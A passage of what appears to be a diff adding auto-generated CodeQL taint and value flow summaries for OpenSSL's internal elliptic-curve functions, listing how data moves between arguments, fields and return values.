True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_group_copy", "(EC_GROUP *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*0].Field[**b].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_nist_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*1].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_add", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_add", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_add", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_add", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_add", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_blind_coordinates", "(const EC_GROUP *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_cmp", "(const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_dbl", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_dbl", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_dbl", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_dbl", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_dbl", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_check_discriminant", "(const EC_GROUP *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_copy", "(EC_GROUP *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_get_degree", "(const EC_GROUP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*0].Field[**b].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*1].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_invert", "(const EC_GROUP *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_is_on_curve", "(const EC_GROUP *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_post", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_post", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_post", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_post", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_make_affine", "(const EC_GROUP *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_copy", "(EC_POINT *,const EC_POINT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_points_make_affine", "(const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_points_make_affine", "(const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4].Field[*neg]", "Argument[*0].Field[**field].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4].Field[*neg]", "Argument[*1].Field[**Z].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_do_inverse_ord", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_do_inverse_ord", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_do_inverse_ord", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_do_inverse_ord", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_do_inverse_ord", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_fromdata", "(EC_KEY *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[*2]", "ReturnValue[*].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_new_ex", "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)", "", "Argument[2]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_set_params", "(EC_GROUP *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_simple_order_bits", "(const EC_GROUP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_todata", "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)", "", "Argument[**6]", "Argument[*2].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_group_todata", "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)", "", "Argument[*6]", "Argument[*2].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_todata", "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_todata", "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)", "", "Argument[6]", "Argument[*2].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_group_todata", "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_dup", "(const EC_KEY *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_key_fromdata", "(EC_KEY *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_get0_propq", "(const EC_KEY *)", "", "Argument[*0].Field[**propq]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_get0_propq", "(const EC_KEY *)", "", "Argument[*0].Field[*propq]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_get_libctx", "(const EC_KEY *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_get_libctx", "(const EC_KEY *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_new_method_int", "(OSSL_LIB_CTX *,const char *,ENGINE *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_new_method_int", "(OSSL_LIB_CTX *,const char *,ENGINE *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_new_method_int", "(OSSL_LIB_CTX *,const char *,ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_new_method_int", "(OSSL_LIB_CTX *,const char *,ENGINE *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_new_method_int", "(OSSL_LIB_CTX *,const char *,ENGINE *)", "", "Argument[2]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_otherparams_fromdata", "(EC_KEY *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**group].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**group].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**group].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**group].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_param_from_x509_algor", "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_set0_libctx", "(EC_KEY *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_set0_libctx", "(EC_KEY *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_oct2priv", "(EC_KEY *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**priv_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_oct2priv", "(EC_KEY *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**priv_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_oct2priv", "(EC_KEY *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**priv_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_oct2priv", "(EC_KEY *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**priv_key].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_oct2priv", "(EC_KEY *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**priv_key].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_key_simple_priv2oct", "(const EC_KEY *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_scalar_mul_ladder", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_scalar_mul_ladder", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_wNAF_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[**5]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ossl_ec_wNAF_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*2]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "ossl_ec_wNAF_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_wNAF_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_wNAF_mul", "(const EC_GROUP 